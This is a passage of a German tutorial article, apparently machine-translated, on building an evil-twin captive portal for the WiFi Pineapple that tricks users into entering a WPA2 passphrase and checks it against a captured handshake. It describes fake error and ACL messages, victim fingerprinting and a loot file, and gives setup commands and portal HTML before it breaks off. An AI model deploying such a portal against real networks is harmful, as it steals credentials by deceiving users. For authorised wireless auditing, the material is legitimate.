Scroll Indicator
Wifi Pineapple Portals mit Amec0e
Unverlierbares Portal
Im heutigen Artikel werfen wir einen Blick auf das Captive Portal Modul des WiFi Pineapple MK7. Wir werden das Setup und die Erstellung eines Captive Portals behandeln, das mit Prompt-Engineering unter Verwendung von ChatGPT erstellt wurde. Wir werden auch aufschlüsseln, was der Code macht, und Sie durch das Portal führen, das ein erfasstes 4-Way Handshake verwendet. Ähnlich wie bei dem Airgeddon Captive Portal mit Handshake.
Über mich
Der Autor des heutigen LAB401 Academy Artikels ist Amec0e, ein Sicherheitsforscher und gelegentlicher CTF-Spieler.
Anmerkung des Herausgebers Wenn Ihnen dieser Artikel gefällt und Sie amec0e unterstützen möchten, verwenden Sie bitte den Code AMEC0E an der Lab401-Kasse (oder klicken Sie einfach auf den Link). Sie erhalten dann 5% Rabatt auf alle Produkte (außer Flipper-Produkte) und unterstützen gleichzeitig amec0e!

Einführung in die WiFi Pineapple von Hak5 (Verkauft von lab401)
Heute werden wir über die WiFi Pineapple MK7 von Hak5 sprechen, die von Hak5 und LAB401 vertrieben wird. Es handelt sich dabei um deren Markenzeichen, die WiFi-Auditing-Plattform und den führenden Rogue Access Point mit dem patentierten PineAP Suit.
Wir werden einen Blick auf unverschlüsselte Portale und die brennenden Fragen werfen, die sich jeder stellt.
Ist die WiFi Pineapple im Jahr 2024 noch nützlich?
Ich bin beileibe kein Experte im Prompt-Engineering, und während der gesamten Erstellung dieses Artikels habe ich viele schlechte Prompts und viele gute Prompts erstellt. Bitte beachten Sie auch, dass es sich bei der Liste nicht um Prompts handelt, die in ChatGPT eingespeist werden sollen, sondern nur um allgemeine Elemente und Funktionen, die wir brauchen, und die in keiner bestimmten Reihenfolge aufgelistet sind.
Es steht Ihnen frei, hier mitzumachen und die Liste nach und nach zu erstellen (wozu ich Sie ermutige, da Sie viel lernen werden), oder Sie können einfach die fertige Version von meinem Github-Repository herunterladen. Wie auch immer, wo bleibt der Spaß, wenn man heute nichts Neues lernt? :D
PS: Wenn Sie mitlesen, holen Sie sich einen Kaffee!
In diesem Sinne, lasst uns beginnen!
Voraussetzungen für das unverlierbare Portal
- Bootstrap CSS (mindestens).
- Bootstrap JS (gebündelt).
- JQuery JS von CDN.
- Bootstrap-Symbole.
- aircrack (sollte standardmäßig installiert sein).
- Paket entpacken.(opkg install unzip)
Optionale Voraussetzungen für zusätzliche Skripte am Ende des Artikels, die sich auf das MK7 beziehen:
- sqlite3-cli
- libsqlite3
- airodump-ng (sollte standardmäßig installiert sein).
- Bildschirm
- jq
Bootstrap.min.css & Bootstrap.bundled.min.js
Bevor wir diese Dateien holen, erstellen wir ein Verzeichnis für sie im Portal:
HINWEIS: Nur diese Dateien werden hier abgelegt, alles andere bleibt im Stammverzeichnis des Portals.
mkdir /root/portals/Airport/css && mkdir /root/portals/Airport/js
Wenn wir das getan haben, holen wir uns die Bootstrap-Dateien (ich verwende dafür Bootstrap 4.3.1):
cd /tmp && wget -O bootstrap.zip https://github.com/twbs/bootstrap/releases/download/v4.3.1/bootstrap-4.3.1-dist.zip
Sobald dies heruntergeladen ist, können wir unzip ausführen:
unzip bootstrap.zip
Verschieben Sie nun die Datei bootstrap.min.css:
mv /tmp/bootstrap-4.3.1-dist/css/bootstrap-4.3.1.min.css /root/portals/Airport/css
Jetzt können wir die bootstrap.bundled.min.js verschieben:
mv /tmp/bootstrap-4.3.1-dist/js/bootstrap.bundled.min.js /root/portals/Airport/js
JQuery
Die JQuery-Version, die ich hier verwende, ist die aktuellste (3.7.1 zum Zeitpunkt des Schreibens). Wir können die komprimierte (min) Version vom JQuery CDN bekommen:
cd /tmp && wget https://code.jquery.com/jquery-3.7.1.min.js
Sobald wir diese heruntergeladen haben, können wir sie in das js-Verzeichnis für unser Portal verschieben:
mv /tmp/jquery-3.7.1.min.js /root/portals/Airport/js
Jetzt haben wir die erforderlichen Dateien, damit einige der Seitenelemente funktionieren und richtig initialisiert werden, und können die Bootstrap-Symbole holen.
Bootstrap-Symbole
Jetzt, wo wir die JQuery js und Bootstrap JS und CSS haben, wollen wir die Bootstrap-Icons holen, da wir auch diese verwenden werden. Beginnen wir mit dem Erstellen des Schriftartenverzeichnisses:
mkdir /root/portal/Airport/fonts
Als nächstes wollen wir unsere Bootstrap-Symboldateien holen:
cd /tmp && wget -O bootstrap-icons.zip https://github.com/twbs/icons/archive/refs/tags/v1.11.3.zip
Nun müssen wir das Archiv entpacken und das Verzeichnis wechseln, um die benötigten Dateien in unser Portalverzeichnis zu kopieren:
unzip bootstrap-icons.zip && cd icons-1.11.3/font/
Kopieren wir nun die benötigten Dateien bootstrap-icons.css und zwei Dateien aus dem Verzeichnis fonts mit den Namen boostrap-icons.woff und bootstrap-icons.woff2 in unseren neuen Ordner fonts:
cp bootstrap-icons.css /root/portals/Airport/css && cp fonts/boostrap-icons.woff /root/portals/Airport/fonts && cp fonts/bootstrap-icons.woff2 /root/portals/Airport/fonts
Jetzt können wir den tmp-Ordner aufräumen, wenn Sie das möchten.
cd && rm -rf /tmp/icons-1.11.3/ && rm -rf /tmp/bootstrap-4.3.1-dist/ && rm /tmp/bootstrap.zip && rm /tmp/bootstrap-icons.zip
Nun, da dies erledigt ist, müssen wir die bootstrap-icons.css bearbeiten, um auf den Speicherort unserer beiden bootstrap-icons.woff und bootstrap-icons.woff2 zu verweisen.
Benutzen wir also nano dafür:
nano /root/portals/Airport/css/bootstrap-icons.css
Die Zeilen, die wir hier ändern wollen, sind src: url:.
Vor
@font-face { font-display: block; font-family: "bootstrap-icons"; src: url("./fonts/bootstrap-icons.woff2?dd67030699838ea613ee6dbda90effa6") format(" woff2"), url("./fonts/bootstrap-icons.woff?dd67030699838ea613ee6dbda90effa6") format("woff"); }
Wir müssen dies ändern, indem wir einfach ../ hinzufügen, um ein Verzeichnis zurückzugehen, was uns vom css/-Verzeichnis zurück zum Stammverzeichnis des Portals bringt, das es ermöglicht, fonts/ und die zugehörigen .woff-Dateien zu finden.
Nach
@font-face { font-display: block; font-family: "bootstrap-icons"; src: url("../fonts/bootstrap-icons.woff2?dd67030699838ea613ee6dbda90effa6") format(" woff2"), url("../fonts/bootstrap-icons.woff?dd67030699838ea613ee6dbda90effa6") format("woff"); }
Dies ermöglicht es der CSS-Datei, die für die Icons benötigten .woff-Dateien richtig zu finden.
Nachdem dies erledigt ist, können wir mit dem eigentlichen Aufbau des Ganzen fortfahren.
Bevor wir beginnen, noch einige Hinweise.
Ich werde nicht demonstrieren, wie man eine realistisch aussehende Phishing-Seite erstellt, insbesondere nicht für hochrangige Ziele aus rechtlichen Gründen. Stattdessen werde ich ein Portal erstellen, das darauf abzielt, sich Zugang zu einem WLAN-Netzwerk zu verschaffen, aber es wird auch flexibel sein, da wir in der Lage sein wollen, es nach Bedarf zu ändern. Wir wissen, dass jede öffentliche Captive-Portal-Seite in der Regel die folgenden Elemente enthält: Namensfeld, E-Mail-Feld, Kontrollkästchen, T&C-Link, Login/Submit-Button, etc.
Dieses Portal wurde jedoch mit Blick auf WiFi-Netzwerke entwickelt. Nichtsdestotrotz habe ich in das endgültige Captive Portal alle Elemente aufgenommen, die Sie auch in einem öffentlichen Captive Portal finden würden, es muss nur an Ihr Ziel angepasst werden.
Ursprünglich habe ich die Standardvorlage für das "gezielte" Captive Portal verwendet, bei der ich ein Problem sowie einige andere Unterschiede festgestellt habe. So sollte $_SERVER['HTTP_URI'] in Wirklichkeit $_SERVER['REQUEST_URI'] lauten, genau wie in der Standardvorlage. Ebenso wie die Cache-Control Header, die in PHP anstelle des HTML-Meta-Tags gesetzt werden.
Es gibt auch einen zusätzlichen veralteten Header, der von den Browsern noch unterstützt wird (für ältere Caches), nämlich den Pragma HTTP Header, der für Cache-Control verwendet wird.
Das text/javascript-Tag ist nicht veraltet, aber es ist nicht mehr notwendig, JavaScript als Sprache für das script-Tag anzugeben. Die meisten Webbrowser verwenden als Standard-Skriptsprache JavaScript, ein einfaches script-Tag reicht aus, aber es schadet nicht, dies so zu belassen, wie es ist.
Wie wir also wissen, kann ChatGPT ein nützliches Werkzeug sein, aber es gab noch einige Anpassungen, die ich auf dem Weg dorthin vornehmen musste (und die Sie wahrscheinlich auch vornehmen werden). Außerdem hatte ich einige andere Probleme, bei denen es nicht herausfand, warum bestimmte Dinge unterschiedliche Farben hatten, was zu redundantem Code führte.
Versuchen Sie auch, Ihre Eingabeaufforderungen kurz und prägnant zu halten, fragen Sie nicht zu viel auf einmal, sonst werden wahrscheinlich Segmente fehlen oder es wird abtrünnig und fängt an, mehr zu ändern als Sie wollten. Wenn der Code zu umfangreich wird, füttern Sie ihn nur mit den Segmenten, die angepasst werden müssen.
Wir stellen das AirPort vor!
Dies ist ein neues Captive-Portal, an dem ich gearbeitet habe. Die Inspiration dafür war das Airgeddon-Skript (Air) und insbesondere das Captive-Portal (Port) mit Handshake. Daher auch der Name AirPort. Ich bin wirklich begeistert davon, denn ich musste eine Nadel in einem Heuhaufen von 16.000 Codezeilen finden, um herauszufinden, wie Airgeddon die Weitergabe des Benutzerpassworts an aircrack durchführt. Die Antwort war, dass Airgeddon die Benutzereingaben als Wortlistendatei bereitstellte, die natürlich nur einen Eintrag enthielt. Das bedeutete, dass es die Benutzereingaben als Datei auf dem System speicherte, um sie für die Abfrage zu verwenden, und von dort aus sah ich mir an, dasselbe zu tun.
Dieses Portal verwendet einige verschiedene PHP-Skripte. Diese Skripte nehmen die Passworteingabe aus dem Formular und speichern diese in einer Datei. Danach wird aircrack-ng mit der in der Datei gespeicherten Benutzereingabe ausgeführt und mit einem Handshake verglichen, den wir zuvor mit airodump-ng aufgezeichnet haben.
Wenn der Handshake erfolgreich geknackt wird, werden die Ergebnisse mit der Zeile "KEY FOUND" (nach einigen Bereinigungen) in eine Datei namens /tmp/airport_creds_tmp.txt ausgegeben. Anschließend wird geprüft, ob das Kennwort erfolgreich geknackt wurde, und die Ergebnisse werden nach /root/airport_loot.txt kopiert. Ein weiteres PHP-Skript prüft dann den Inhalt der Datei auf die Worte "KEY FOUND", und wenn dies gefunden wird, wird der Benutzer auf die Seite correct.php weitergeleitet.
Wenn das Passwort jedoch falsch ist, ist die von aircrack ausgegebene Datei leer, was wiederum bedeutet, dass das php-Skript KEY FOUND nicht findet und den Benutzer auf die Seite incorrect.php umleitet.
Der Aufbau
Wie bereits erwähnt, verwendet dieses Portal einige PHP-Skripte sowie eine externe js-Datei, eine css-Datei und ein Bash-Skript, um das Handshake-Cracking durchzuführen.
HINWEIS: Aus irgendeinem Grund wollte das Portal nicht mitspielen, als ich unsere benutzerdefinierten Dateien in Verzeichnisse und Unterverzeichnisse organisierte, daher sollten alle unsere benutzerdefinierten Dateien und Bilder in unserem Fall im Stammverzeichnis des Portals (/root/portals/Airport/) liegen. Legen Sie KEINE dieser Dateien irgendwo anders ab (die Dateien, die wir erstellen werden).
Dies sind keine Aufforderungen zur Eingabe in ChatGPT, sondern Dinge, die wir einfach hinzufügen müssen, um das gewünschte Aussehen und die gewünschte Funktion zu erreichen.
Default.php erstellen:
- Bootstrap-Karte mit abgerundeten Kanten und einem Schattenwurf.
- Ein Titel im Kartenkörper mit kleinerem Text unter dem Titel
- Eine Login-Schaltfläche.
- Passwort-Eingabefeld.
- Fügen Sie der Login-Schaltfläche Stile hinzu, wobei die Schaltflächen in derselben Farbe und mit weißem Text hervorgehoben werden.
- Unter der Login-Schaltfläche, linksbündig im Kartenkörper, eine kleine graue Fehlermeldung mit einer gefälschten Meldung wie "STATUS: ERR_AUTH_FAILED".
- Rechtsbündig in der gleichen Zeile wie die Fehlermeldung ein Bootstrap-Popover "Warum ist das passiert?" mit js, um es mit einem Titel Login und Text mit Hallo Welt als Platzhalter zu initialisieren.
- Ein versteckter iframe, an den die Anfrage gesendet wird, damit der Benutzer auf der gleichen Seite bleibt.
- Wir wollen sicherstellen, dass wir keine der Seiten mit PHP und HTML zwischenspeichern.
- Wir wollen 2 neue Dateien für js und css Stile erstellen (func.js, style.css) und diese in default.php einbinden.
- Wir wollen auch eine Lademeldung, wenn der Login-Button angeklickt wird, damit die Skripte fertig ausgeführt werden können, bevor sie überprüft werden. Dadurch wird sichergestellt, dass der Benutzer weiß, dass er auf Login geklickt hat.
- Hinzufügen von Bootstrap-Bi-Eye-Fill zum Passwortfeld.
- Wir möchten ein Client-Mac-Feld hinzufügen, das der Status-Fehlermeldung ähnelt und die Client-Mac-Adresse anzeigt.
- Fügen Sie ein Bild über dem Login auf der Karte hinzu, um ein Logo auf default.php und incorrect.php zu ermöglichen.
- Hinzufügen eines kleinen php-Codeblocks für ESSID für den Kartentitel in default.php. (Workaround für das Problem, dass in manchen Fällen die verbundene SSID nicht ermittelt werden kann)
- Hinzufügen eines versteckten Eingabefeldes für die Funktion useragent in der Datei helper.php.
- Fügen Sie Autocomplete zum Passwortfeld hinzu, damit Benutzer (auf Touch-Geräten) das Passwortfeld zweimal antippen können und das "Autofill" angezeigt wird.
- Hinzufügen eines Kontrollkästchens für die Anzeige einer ACL-Zulassungsliste in correct.php
- Fügen Sie 5 neue versteckte Eingabefelder für die Erfassung von Systeminformationen mit Hilfe der Funktionen in func.js (GSR, GOS, GWB, GAT und GCC) hinzu.
Func.js erstellen
- Redirect-Funktion zum Starten der Prüfkette, die auch den Parameter ACLAllow hinzufügt, wenn das Kontrollkästchen ausgewählt ist.
- GoBack Funktion für die incorrect.php Seite.
- run_test Funktion, um eine POST-Anfrage mit dem Passwort an run_test.php zur Verarbeitung zu senden.
- submitForm Funktion, um eine Bootstrap-Lademeldung anzuzeigen, während die run_test Funktion sofort ausgeführt wird und die redirect Funktion um 2 Sekunden verzögert wird.
- togglePassword-Funktion für die Initialisierung der Bootstrap-Symbole mit den zwei Augen.
- Popover Initialisierung für das Bootstrap Popover.
- GSR Funktion, um die Bildschirmauflösung des Benutzers zu ermitteln.
- GWB Funktion, um den Webbrowser des Benutzers zu ermitteln.
- GOS-Funktion zum Ermitteln des Betriebssystems des Benutzers.
- GAT Funktion, um den Architektur-Typ des Benutzers zu ermitteln.
- GCC Funktion, um die Anzahl der logischen Prozessoren des Benutzers zu ermitteln.
Style.css erstellen
- Wir wollen ein Hintergrundbild in die css-Datei einfügen und den HTML-Body angeben. Dadurch wird das Hintergrundbild hinter allen anderen Elementen platziert.
- Wir wollen den Container gestalten.
- Wir wollen die Schaltfläche gestalten.
- Wir wollen die Textfarbe gestalten.
- Wir wollen den Kartenkörper gestalten
- Und wir wollen auch die Karte selbst gestalten.
- Außerdem wollen wir einige Übergänge und Filtereffekte hinzufügen.
Auther.sh erstellen
- Fügen Sie eine BSSID-Variable hinzu.
- Fügen Sie eine Capture Location Variable hinzu.
- Fügen Sie eine Temp_Attempt-Variable hinzu.
- Fügen Sie eine Temp_Creds-Variable hinzu.
- Füge eine Loot_File Variable hinzu.
- Führen Sie aircrack mit den erforderlichen Variablen aus.
- Grep für KEY Found.
- Entferne ANSI Escape-Zeichen.
- Gib dies in Temp_Creds aus.
- Fügen Sie eine If-Anweisung hinzu, um zu prüfen, ob die Creds-Datei etwas enthält (ein geknacktes Passwort) und wenn ja, kopieren Sie diese in das Root-Verzeichnis, um ein Überschreiben bei einem späteren falschen Passwortversuch zu vermeiden.
run_Test.php erstellen
- Holen Sie das Passwort aus der Formularanfrage und speichern Sie es in einer Datei namens /tmp/airport_attempt_tmp.txt.
- Führen Sie unser Bash-Skript aus.
- Definieren Sie die Pipes für stdin, stdout und stderr.
- Öffnen Sie den Prozess.
- Aufräumen (Pipes und Prozess schließen).
- Winzige Fehlerbehandlung.
Checking.php erstellen
- Definieren Sie den Dateipfad für die zu prüfenden Passwörter. (airport_creds_tmp.txt).
- Öffne die Datei.
- Zeige eine Autorisierungsmeldung in der Mitte des Bildschirms an.
- Lesen Sie die Datei und prüfen Sie auf "KEY FOUND".
- Wenn der Suchbegriff gefunden wird, echo javascript auf der Seite, um die Umleitung nach 1 Sekunde auf die Seite correct.php zu veranlassen.
- Wenn der Suchbegriff falsch ist, wird ein Javascript-Echo ausgegeben, um zur Seite incorrect.php zu wechseln.
- Fügen Sie ein Häkchen für den Parameter checkbox aus default.php hinzu und schreiben Sie "true" in /tmp/airport_aclallow.txt.
- Schreiben Sie eine weitere Datei namens /tmp/airport_rueay.txt mit dem Wert "true", wenn das Passwort korrekt ist.
- Wir wollen die gleichen Cache-Control-Header aus default.php auch hier anwenden, ebenso wie in correct und incorrect.php
Incorrect.php erstellen
- Wir wollen die Stildatei und func.js zur Seite incorrect.php hinzufügen.
- Ein Großteil des bisherigen Codes stammt aus der oben erstellten Grundlage. Das meiste davon sind Ergänzungen, die nicht entfernt werden müssen.
- Cache-Control an die default.php anpassen
Correct.php erstellen
- Hier können wir die Seite incorrect.php verwenden und die Schaltfläche "Zurück" und die Popover-Meldung entfernen.
- Wir wollen eine neue Nachricht unter der Statusmeldung mit dem Mac des Kunden hinzufügen und eine gefälschte Nachricht, die besagt, dass ihr Mac zu einer ACL-Zulassungsliste hinzugefügt wurde. Dies geschieht, indem wir den in /tmp/airport_aclallow.txt gespeicherten Wert erhalten.
- Fügen Sie die func.js hier ein.
- Fügen Sie ein Style-Tag mit benutzerdefiniertem Styling für diese Seite hinzu (wir brauchen nicht viel Styling für diese Seite).
- Entschärfen Sie ein Problem des direkten Zugriffs, das dazu führt, dass der Benutzer am Portal authentifiziert wird, ohne seine Anmeldedaten einzugeben. Diese Entschärfung beinhaltet die Überprüfung der Datei /tmp/airport_rueay.txt auf "true" und dass der Referer-Header "/checking.php" lautet.
- Fügen Sie hier die Funktion auth_success hinzu (optional).
- Fügen Sie eine Prüfung für die ACLAllow-Datei hinzu, um festzustellen, ob die gefälschte ACL-Meldung angezeigt werden soll oder nicht (damit unsere Checkbox eine tatsächlich funktionierende Funktion hat).
- Passen Sie Cache-Control an, um default.php zu erstellen.
Visited.php erstellen
- Definieren Sie Variablen für ssid, mac, hostname, ip, ua, Dateiverzeichnis und Dateipfad.
- Prüfen Sie, ob die aktuelle Anfrage eine GET-Methode ist.
- Prüfen Sie, ob die Datei existiert.
- Wenn die Datei nicht vorhanden ist, erstellen Sie sie.
- Führen Sie den Befehl "pineutil notify" aus.
MyPortal.php
- Nehmen Sie Änderungen an der MyPortal.php vor, um nur ein Feld (Passwortfeld) und kein E-Mail-Feld zu verwenden, und passen Sie das Logging an.
- Fügen Sie außerdem heredoc-Strings für file_put_contents hinzu, um die Lesbarkeit in MyPortal zu verbessern.
- Hinzufügen von Variablen für Datum, Benutzer-Agent, Web-Browser, Bildschirmauflösung, Betriebssystem, Architektur-Typ und CPU-Anzahl MyPortal.php für die Protokollierung.
- Ändern Sie die Benachrichtigungsmeldung.
Hoffentlich habe ich hier nichts übersehen!
Style.css und func.js anfassen
Als erstes müssen wir die beiden zu bearbeitenden Dateien erstellen, ich werde sie mit dem Terminal erstellen.
touch /root/portals/Flughafen/style.css touch /root/portals/Flughafen/func.js
Default.php erstellen
Hier werden wir also die Standardseite erstellen, die der Benutzer anfangs sehen wird. Ich werde versuchen, den Code ein wenig aufzuschlüsseln. Ich werde den Code von oben nach unten aufschlüsseln und den Codeausschnitt unter der Aufschlüsselung angeben, zu dem er gehört. Nur um sicherzustellen, dass wir das Ganze auf die gleiche Weise betrachten.
$destination = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . ""; - Hier setzen wir die Variable "destination", wir verketten die "http://" mit der HTTP_HOST (Die IP des Besuchers, die von Pineapple zugewiesen wird) mit der REQUEST_URI (die aktuelle Seite, auf der wir uns befinden) und speichern dies als den Wert von "destination".
require_once('helper.php'); - Hier verwenden wir require_once anstelle von require, um die Seite helper.php nur einmal einzubinden, wenn die Datei nicht gefunden wird oder ein Fehler auftritt, wird das Skript angehalten.
require_once('visited.php'); - Hier machen wir dasselbe wie oben, aber wir binden unsere "visited.php" Seite ein, die nach den MyPortal.php Anpassungen erstellt wird. Diese wird eine Benachrichtigung auf der WebUI mit einigen Zielinformationen anzeigen, so dass wir wissen, wenn jemand in die Falle getappt ist.
header("Cache-Control: no-store, no-cache, must-revalidate"); - Hier setzen wir einen Header für Cache-Control mit den folgenden Direktiven, no-store, no-cache, must-revalidate.
header("Pragma: no-cache"); - Hier setzen wir den Pragma-Header für Cache-Control, der veraltet ist, aber noch unterstützt wird. Dies wird für die Abwärtskompatibilität mit HTTP/1.0-Caches verwendet.
header("Expires: 0"); - Hier setzen wir den Expires-Header, wenn die Anweisung max-age=0 in der Antwort enthalten ist, wird Expires ignoriert.
$essid = "Airport WiFi 6"; - Hier setzen wir die essid-Variable, um die ESSID anzuzeigen, die wir manuell für unser Ziel eingeben (Der Grund, warum ich dies statisch setze, ist, dass ich Probleme mit der ESSID hatte, die nicht angezeigt wurde, wenn das Captive Portal lief).
<?php $destination = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . ""; require_once('helper.php'); require_once('visited.php'); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Pragma: no-cache"); header("Expires: 0"); $essid = "Airport WiFi 6"; ?>
Weiter geht's mit der nächsten Codeaufschlüsselung:
<iframe name="login" id="login" style="display: none;"></iframe> - Hier setzen wir einen zielgerichteten unsichtbaren iframe mit einer id von "login" und dem Stil display: none;.
<iframe name="login" id="login" style="display: none;"></iframe>
Weiter geht's mit dem nächsten Stück Codeaufschlüsselung:
<!DOCTYPE html> - Hier setzen wir die HTML DOCTYPE-Deklaration, die dem Browser lediglich mitteilt, welche Art von Inhalt geladen wird. Alle HTML-Dokumente müssen mit einer DOCTYPE-Deklaration beginnen.
<html lang="en"> - Hier informieren wir den Browser über die Art der Sprache, in der der Inhalt vorliegt. "en" steht für Englisch.
<head> - Der HTML Head-Tag ist ein Container für Metadaten, der zwischen einem html-Tag und einem body-Tag platziert wird.
<meta charset="UTF-8"> - Hier verwenden wir einen Meta-Tag mit charset, um dem Browser mitzuteilen, welchen Zeichensatz er verwenden soll.
<meta name="viewport" content="width=device-width, initial-scale=1"> - Hier legen wir den Viewport fest, der für responsives Webdesign (Mobile und Tablet Designs) verwendet wird. Wir verwenden auch width=device-width, was 100% der Viewport-Breite bedeutet, sowie initial-scale, um die Zoomstufe zu steuern.
<meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" /> - Hier verwenden wir ein Meta-Tag mit der http-equiv-Direktive, um den Cache-Control-Header in HTML5 zu setzen. Dies ist ähnlich wie oben, wo wir dies in einem PHP-Codeblock taten.
<meta http-equiv="Pragma" content="no-cache" /> - Hier setzen wir wieder den Pragma-Header für die Cache-Kontrolle bei HTTP/1.0-Caches.
<meta http-equiv="Expires" content="0" /> - Hier setzen wir den Expires HTTP Header auch für Cache Control.
<link rel="stylesheet" href="/css/bootstrap-4.3.1.min.css"> - Hier verwenden wir ein Link-Tag, um die Beziehung zwischen dem aktuellen Dokument und einer externen Ressource zu spezifizieren, in unserem Fall beinhaltet es unser Bootstrap-CSS.
<link rel="stylesheet" href="/css/bootstrap-icons.css"> - Dies ist genau wie oben. Dies schließt die Bootstrap-Icons ein.
<script type="text/javascript" src="/js/jquery-3.7.1.min.js"></script> - Hier verwenden wir ein Skript-Element mit src, in dem wir einen URI für ein externes Skript angeben, das in die Seite eingebunden werden soll. Der "Typ" ist ein Mime-Typ, der den Browsern mitteilt, welche Sprache die Skript-Tags haben sollen. In HTML5 ist JavaScript die Standard-Skriptsprache. Wir binden die JQuery-JavaScript-Datei ein, damit bestimmte Funktionen ausgeführt werden können.
<script type="text/javascript" src="/js/bootstrap.bundle.min.js"></script> - Wie oben, nur dass wir hier die Bootstrap-JavaScript-Datei einbinden, um auch bestimmte Bootstrap-Elemente und -Funktionen zu unterstützen.
<link rel="stylesheet" href="/de/style.css"> - Genau wie das obige Link-Element enthält auch dieses unsere benutzerdefinierte css-Datei für bestimmte Stylings.
<script type="text/javascript" src="/func.js"></script> - Genau wie das vorhergehende Skript-Element fügen wir unsere func.js-Datei ein, die einige clientseitige JavaScript-Funktionen enthält.
<title><?= $essid ?></title> - Hier geben wir den Titel der Webseite an, da dieser im Head-Tag steht. Wir verwenden PHP, um den Wert der Variable "essid" aufzurufen, die am Anfang des PHP-Codeblocks gesetzt ist.
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <link rel="stylesheet" href="/css/bootstrap-4.3.1.min.css"> <link rel="stylesheet" href="/css/bootstrap-icons.css"> <script type="text/javascript" src="/js/jquery-3.7.1.min.js"></script> <script type="text/javascript" src="/js/bootstrap.bundle.min.js"></script> <link rel="stylesheet" href="/de/style.css"> <script type="text/javascript" src="/func.js"></script> <title><?= $essid ?></title> </head>
Weiter geht es mit dem body-Element, viele dieser div-Elemente sind rein für die Gestaltung:
<body> - Hier beginnen wir das body-Element, das den Inhalt der Seite enthält.
<div class="container mt-5"> - Hier verwenden wir eine div-Klasse mit den css-Styles container und mt-5.
div class="form-row justify-content-center"> - Hier wird ein weiteres div mit den Klassen form-row und justify-content-center verwendet.
<div class="col-md-6"> - Hier verwenden wir ein weiteres div-Element mit der Klasse col-md-6. Dies ist eine Mischung aus Bootstrap Grid und Bootstrap Spacing.
<div class="card rounded-lg border-light shadow"> - Ein weiteres div-Element, das für das Styling verwendet wird. Hier verwenden wir card mit rounded-lg, border-light und shadow, um das gewünschte Aussehen zu erzeugen.
<div class="card-body text-center"> - Ein weiteres div-Element für das Styling, wir verwenden card-body und text-center.
<img src="airport-logo.png" class="img-fluid mb-3" style="max-width: 200; max-height: 100px; object-fit: contain;"> - Hier fügen wir unser Portal-Logo mit einem HTML-img-Element ein. Das Styling ist eine Mischung aus Standard-CSS und Bootstrap img-fluid, mb-6, max-width, max-height, object-fit und contain, die alle für Stylingzwecke verwendet werden.
<h3 class="card-title text-center"><?= $essid; ?></h3> - Hier verwenden wir das HTML-Element heading mit den Klassen card-title und text-center, wir verwenden auch den PHP-Code, um den "essid"-Wert zu erhalten, wie wir es zuvor getan haben.
<p class="text-center small mb-5">Sie müssen autorisiert sein, um diesen drahtlosen Zugangspunkt zu nutzen.</p> - Hier verwenden wir ein Absatz-Element, um dem Benutzer eine Nachricht in kleiner Schrift anzuzeigen. Small ist genau wie das HTML-Tag "small", aber Bootstrap erlaubt es, dies in einer Klasse zu spezifizieren, indem man einfach small verwendet.
<body> <div class="container mt-5"> <div class="form-row justify-content-center"> <div class="col-md-6"> <div class="card rounded-lg border-light shadow"> <div class="card-body text-center"> <img src="airport-logo.png" class="img-fluid mb-3" style="max-width: 200; max-height: 100px; object-fit: contain;"> <h3 class="card-title text-center"><?= $essid; ?></h3> <p class="text-center small mb-5">So wie es aussieht, müssen Sie autorisiert sein, diesen drahtlosen Zugangspunkt zu benutzen.</p>
Weiter geht es nun mit dem Formular:
<form method="POST" action="/captiveportal/index.php" onsubmit="submitForm()" target="login" id="loginForm"> - Hier verwenden wir ein Formularelement, in dem wir einige Dinge festlegen: die Anfragemethode "POST", die Aktion (die Seite, an die die Anfrage gesendet werden soll), eine Aktion, die mit "onsubmit" ausgeführt werden soll, außerdem geben wir unserem iframe ein Ziel und dem Formular die "id" loginForm, um das Formular bei Bedarf zu identifizieren. Der Unterschied zwischen "submit" und "onsubmit" besteht darin, dass wir mit "onsubmit" eine Funktion direkt ausführen können, ohne einen Event-Listener hinzufügen zu müssen.
<div class="form-group text-left mb-4"> - Hier verwenden wir eine weitere div-Klasse für das Styling mit form-group, text-left und mb-4.
<label for="password">Passphrase:</label> - Hier verwenden wir ein Label-Element für die Passworteingabe unter Verwendung von for, was uns erlaubt, das Wort "Passphrase:" über der Passworteingabe selbst anzuzeigen.
<div class="input-group"> - Hier verwenden wir eine andere div-Klasse für input-group, die es uns ermöglicht, Formularsteuerelemente zu erweitern.
<input type="password" class="form-control" id="password" name="password" placeholder="WPA2 Passphrase" autocomplete="current-password" required> - Hier verwenden wir das input-Element mit dem "type" als password, dies ermöglicht es dem Benutzer, die Eingabe während der Eingabe zu verbergen. Wir verwenden die Klasse form-control mit einer "id" von "password" und dem Namen "password". Wir verwenden auch ein Platzhalter-Attribut mit "WPA Passphrase", Autovervollständigung mit dem aktuellen Kennwort, um eine automatische Ausfüllung zu ermöglichen. Wir verwenden auch "required", um sicherzustellen, dass der Benutzer etwas eingeben muss.
<div class="input-group-append"> - Hier verwenden wir das div mit der Klasse " input-group-append ", das Teil der "input-group" ist und uns erlaubt, dem Formular Text, Icons usw. hinzuzufügen, um es optisch ansprechender zu gestalten.
<span class="input-group-text"> - Hier verwenden wir das span-Element-Tag mit dem Formular-Steuerelement "input-group-text".
<i id="showPasswordIcon" class="bi bi-eye-fill" onclick="togglePassword()"></i> - Hier zeigen wir unser bi bi-eye Bootstrap Icon an, indem wir ein idiomatisches Textelement mit der "id" von "showPasswordIcon" und einen onclick Event Handler verwenden, um direkt eine Funktion bei einem Mausklick des Benutzers auszuführen.
<form method="POST" action="/captiveportal/index.php" onsubmit="submitForm()" target="login" id="loginForm"> <div class="form-group text-left mb-4"> <label for="password">Passphrase:</label> <div class="input-group"> <input type="password" class="form-control" id="password" name="password" placeholder="WPA2 Passphrase" autocomplete="current-password" required> <div class="input-group-append"> <span class="input-group-text"> <i id="showPasswordIcon" class="bi bi-eye-fill" onclick="togglePassword()"></i> </span> </div> </div> </div>
Hier geht es weiter mit dem Rest des Formulars:
